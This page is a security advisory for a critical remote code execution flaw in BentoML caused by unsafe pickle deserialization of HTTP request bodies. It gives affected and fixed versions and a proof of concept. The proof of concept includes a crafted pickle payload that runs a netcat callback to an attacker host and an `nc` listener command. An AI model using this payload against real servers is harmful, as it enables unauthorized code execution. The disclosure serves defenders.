Skip to content
BentoMLGHSA-33xw-247w-6hmc

BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

Critical9.8CVE-2025-27520 · Published Apr 4, 2025 · updated Sep 10, 2026

### Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. ### Details It exists an unsafe code segment in `serde.py`: ```Python def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) ``` Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization. ### PoC Environment: - Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu 1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment. 1.1 Install BentoML (Server host: 10.98.36.123) : ` pip install -U bentoml` 1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) : ``` Python from __future__ import annotations import bentoml @...

GitHub advisory

Affected versions

PackageAffectedFixed in
bentoml
PyPI
>= 1.3.4, < 1.4.31.4.3
Details and references

### Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. ### Details It exists an unsafe code segment in `serde.py`: ```Python def deserialize_value(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) ``` Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization. ### PoC Environment: - Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu 1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment. 1.1 Install BentoML (Server host: 10.98.36.123) : ` pip install -U bentoml` 1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) : ``` Python from __future__ import annotations import bentoml @bentoml.service( resources={"cpu": "4"} ) class Summarization: def __init__(self) -> None: import torch from transformers import pipeline device = "cuda" if torch.cuda.is_available() else "cpu" self.pipeline = pipeline('summarization', device=device) @bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summary_text'] for item in results] ``` 1.3 Run the service code (Server host: 10.98.36.123) : ``` Bash pip install torch transformers # additional dependencies for local run bentoml serve ``` 2. Start nc listening on the attacking host (Attack host: 10.98.36.121) : `nc -lvvp 1234` 3. Send maliciously crafted request (Attack host: 10.98.36.121) : ``` Python import pickle import os import requests headers = {'Content-Type': 'application/vnd.bentoml+pickle'} class Evil: def __reduce__(self): return(os.system, ('nc 10.98.36.121 1234',)) payload = pickle.dumps(Evil()) requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers) ``` 4. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. ![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85) ### Impact Remote Code Execution (RCE).

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-502
Also known as
CVE-2025-27520, PYSEC-2026-294

More BentoML advisories

All BentoML
Advisory
BentoML SSRF Vulnerability in File Upload Processing
Critical9.9Jul 29, 2025
BentoML's runner server Vulnerable to Remote Code Execution (RCE) via Insecure Deserialization
Critical9.8Apr 9, 2025
BentoML deserialization vulnerability
Critical9.8Mar 20, 2025
BentoML Denial of Service (DoS) via Multipart Boundary
High7.5Mar 20, 2025
BentoML Open Redirect vulnerability
Medium6.1Mar 20, 2025
BentoML vulnerable to Uncontrolled Resource Consumption
High7.5Mar 20, 2025

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.